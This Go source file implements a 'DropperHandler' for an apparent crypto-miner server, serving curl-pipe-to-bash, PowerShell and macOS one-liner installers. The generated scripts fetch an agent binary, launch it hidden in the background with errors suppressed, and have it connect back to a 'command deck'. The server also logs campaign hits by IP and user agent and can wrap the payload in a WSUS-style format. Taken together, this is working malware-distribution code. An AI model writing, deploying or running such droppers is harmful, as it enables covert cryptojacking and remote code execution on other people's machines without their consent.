Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
348 lines
12 KiB
Go
348 lines
12 KiB
Go
package api
|
|
|
|
import (
|
|
"fmt"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
// DropperHandler serves the one-liner remote-install endpoints:
|
|
//
|
|
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
|
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
|
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
|
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
|
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
|
|
//
|
|
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
|
|
type DropperHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
publicURLFunc func() string
|
|
}
|
|
|
|
func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
|
|
return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
|
|
}
|
|
|
|
func (h *DropperHandler) publicURL() string {
|
|
if h.publicURLFunc != nil {
|
|
if u := h.publicURLFunc(); u != "" {
|
|
return strings.TrimRight(u, "/")
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// detectPlatform picks the right build platform from an explicit query param or
|
|
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
|
func detectPlatform(r *http.Request) string {
|
|
if p := r.URL.Query().Get("os"); p != "" {
|
|
switch strings.ToLower(p) {
|
|
case "windows", "win":
|
|
return "windows"
|
|
case "linux":
|
|
return "linux"
|
|
case "darwin", "mac", "macos":
|
|
return "darwin"
|
|
case "universal", "any":
|
|
return "universal"
|
|
}
|
|
}
|
|
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
|
switch {
|
|
case strings.Contains(ua, "windows"):
|
|
return "windows"
|
|
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
|
return "darwin"
|
|
case strings.Contains(ua, "linux"):
|
|
return "linux"
|
|
}
|
|
return "" // caller will fall back to latest build regardless of platform
|
|
}
|
|
|
|
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source, eventType string) {
|
|
if c := r.URL.Query().Get("c"); c != "" {
|
|
_ = h.db.LogCampaignEvent(c, buildID, eventType, source, clientIP(r), r.UserAgent())
|
|
}
|
|
}
|
|
|
|
func dropperQueryParts(r *http.Request) []string {
|
|
q := r.URL.Query()
|
|
var parts []string
|
|
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
|
|
parts = append(parts, "pin="+pin)
|
|
}
|
|
if c := strings.TrimSpace(q.Get("c")); c != "" {
|
|
parts = append(parts, "c="+c)
|
|
}
|
|
return parts
|
|
}
|
|
|
|
func (h *DropperHandler) querySuffix(r *http.Request) string {
|
|
parts := dropperQueryParts(r)
|
|
if len(parts) == 0 {
|
|
return ""
|
|
}
|
|
return "?" + strings.Join(parts, "&")
|
|
}
|
|
|
|
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
|
|
parts := dropperQueryParts(r)
|
|
if len(parts) == 0 {
|
|
return ""
|
|
}
|
|
return "&" + strings.Join(parts, "&")
|
|
}
|
|
|
|
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
|
|
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
|
|
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
|
|
b, err := h.db.GetBuild(pin)
|
|
if err == nil && b != nil {
|
|
path, name := resolveDropperArtifact(h.dataDir, b)
|
|
return b, path, name
|
|
}
|
|
}
|
|
platform := detectPlatform(r)
|
|
candidates := []string{platform, "universal", ""}
|
|
if platform == "" {
|
|
candidates = []string{"universal", ""}
|
|
}
|
|
for _, p := range candidates {
|
|
b, err := h.db.GetLatestBuildForPlatform(p)
|
|
if err == nil && b != nil {
|
|
path, name := resolveDropperArtifact(h.dataDir, b)
|
|
return b, path, name
|
|
}
|
|
}
|
|
return nil, "", ""
|
|
}
|
|
|
|
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
|
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
|
b, buildPath, buildName := h.resolveDropperBuild(r)
|
|
if b != nil {
|
|
h.logCampaign(r, b.ID, "get", dbpkg.CampaignEventDownload)
|
|
}
|
|
if buildPath == "" {
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.WriteHeader(http.StatusNotFound)
|
|
fmt.Fprintln(w, "AETHERFORGE: no agent build available yet.")
|
|
fmt.Fprintln(w, "Open the dashboard → Forge → fill in your wallet + server URL → FORGE INSTALLER.")
|
|
fmt.Fprintln(w, "Then re-run this one-liner.")
|
|
return
|
|
}
|
|
|
|
if strings.TrimSpace(r.URL.Query().Get("wsus_wrap")) == "1" {
|
|
raw, err := os.ReadFile(buildPath)
|
|
if err != nil {
|
|
http.Error(w, "build read failed", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
wrapped := wrapWSUSChunkPayload(raw)
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
w.Header().Set("Content-Length", fmt.Sprintf("%d", len(wrapped)))
|
|
_, _ = w.Write(wrapped)
|
|
return
|
|
}
|
|
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
// Content-Length is set automatically by http.ServeFile.
|
|
http.ServeFile(w, r, buildPath)
|
|
}
|
|
|
|
func campaignEnvBlock(campaign string) string {
|
|
if campaign == "" {
|
|
return ""
|
|
}
|
|
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
|
|
}
|
|
|
|
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
|
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
|
base := h.resolveBase(r)
|
|
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
|
h.logCampaign(r, "", "install.sh", dbpkg.CampaignEventPageHit)
|
|
|
|
script := fmt.Sprintf(`#!/bin/sh
|
|
# AetherForge agent installer
|
|
# Usage: curl -sL '%[1]s/install.sh' | bash
|
|
# wget -qO- '%[1]s/install.sh' | bash
|
|
|
|
set -e
|
|
|
|
die() { echo "[!] $*" >&2; exit 1; }
|
|
|
|
%s
|
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
|
ARCH="$(uname -m)"
|
|
case "$ARCH" in
|
|
x86_64) ARCH="amd64" ;;
|
|
aarch64|arm64) ARCH="arm64" ;;
|
|
esac
|
|
|
|
echo "[*] AetherForge — downloading agent for $OS/$ARCH..."
|
|
|
|
TMPDIR="$(mktemp -d)"
|
|
DEST="$TMPDIR/worker"
|
|
|
|
# Download and verify we got a real file, not a 404 page.
|
|
# Note: double-quotes around URL so $OS is expanded by the shell.
|
|
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
|
|
if [ "$HTTP_CODE" != "200" ]; then
|
|
cat "$DEST" >&2
|
|
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
|
|
fi
|
|
|
|
FILESIZE="$(wc -c < "$DEST" | tr -d ' ')"
|
|
[ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong."
|
|
|
|
# Universal bundle (ZIP) or raw binary? 'file' is available on all platforms.
|
|
if file "$DEST" 2>/dev/null | grep -qi "zip\|archive"; then
|
|
echo "[*] Extracting universal bundle..."
|
|
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
|
cd "$TMPDIR/bundle"
|
|
if [ "$OS" = "darwin" ]; then
|
|
for L in Start.command start.command; do
|
|
[ -f "$L" ] && chmod +x "$L" && exec "./$L"
|
|
done
|
|
fi
|
|
for L in start.sh deploy.sh; do
|
|
[ -f "$L" ] && chmod +x "$L" && exec sh "./$L"
|
|
done
|
|
die "No launcher found in bundle (Start.command / start.sh / deploy.sh)"
|
|
fi
|
|
|
|
chmod +x "$DEST"
|
|
echo "[*] Launching agent..."
|
|
nohup "$DEST" >/dev/null 2>&1 &
|
|
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
|
|
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
|
fmt.Fprint(w, script)
|
|
}
|
|
|
|
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
|
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
|
base := h.resolveBase(r)
|
|
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
|
h.logCampaign(r, "", "install.ps1", dbpkg.CampaignEventPageHit)
|
|
|
|
// Build script as a regular string — backtick in Go raw strings conflicts
|
|
// with PowerShell's escape character.
|
|
bt := "`"
|
|
nl := "\r\n"
|
|
|
|
campaignBlock := ""
|
|
if campaign != "" {
|
|
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
|
|
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
|
|
}
|
|
|
|
script := "# AetherForge dropper" + nl +
|
|
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
|
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
|
campaignBlock +
|
|
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
|
|
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
|
"try {" + nl +
|
|
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
|
"} catch { exit 0 }" + nl + nl +
|
|
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
|
|
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
|
|
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
|
|
"if ($isZip) {" + nl +
|
|
" $dir = $tmp + '_bundle'" + nl +
|
|
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
|
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
|
" foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
|
|
" $c = Join-Path $dir $name" + nl +
|
|
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
|
" }" + nl +
|
|
"} else {" + nl +
|
|
" $exe = $tmp + '.exe'" + nl +
|
|
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
|
|
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
|
|
"}" + nl +
|
|
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
|
fmt.Fprint(w, script)
|
|
}
|
|
|
|
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
|
|
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
|
|
base := h.resolveBase(r)
|
|
suffix := h.querySuffix(r)
|
|
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
|
h.logCampaign(r, "", "install.command", dbpkg.CampaignEventPageHit)
|
|
|
|
script := fmt.Sprintf(`#!/bin/bash
|
|
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
|
|
set -e
|
|
%[2]s
|
|
curl -sL '%[1]s/install.sh%[3]s' | bash
|
|
`, base, campaignEnvBlock(campaign), suffix)
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
|
|
fmt.Fprint(w, script)
|
|
}
|
|
|
|
// resolveBase returns the public base URL for script generation, falling back
|
|
// to the request's Host header when no public URL is configured.
|
|
func (h *DropperHandler) resolveBase(r *http.Request) string {
|
|
if u := h.publicURL(); u != "" {
|
|
return u
|
|
}
|
|
scheme := "http"
|
|
if r.TLS != nil {
|
|
scheme = "https"
|
|
}
|
|
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
|
|
if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
|
|
scheme = "https"
|
|
}
|
|
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
|
|
host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
|
|
if host == "" {
|
|
host = r.Host
|
|
}
|
|
return scheme + "://" + host
|
|
}
|
|
|
|
// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
|
|
func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
|
|
if b == nil {
|
|
return "", ""
|
|
}
|
|
dl := strings.TrimSpace(b.DownloadURL)
|
|
if dl != "" && strings.Contains(dl, "/artifact/") {
|
|
parts := strings.Split(dl, "/artifact/")
|
|
if len(parts) == 2 && parts[1] != "" {
|
|
artifactName := filepath.Base(parts[1])
|
|
candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
|
|
if _, err := os.Stat(candidate); err == nil {
|
|
return candidate, artifactName
|
|
}
|
|
}
|
|
}
|
|
path = b.FilePath
|
|
name = strings.TrimSpace(b.FileName)
|
|
if name == "" && path != "" {
|
|
name = filepath.Base(path)
|
|
}
|
|
return path, name
|
|
}
|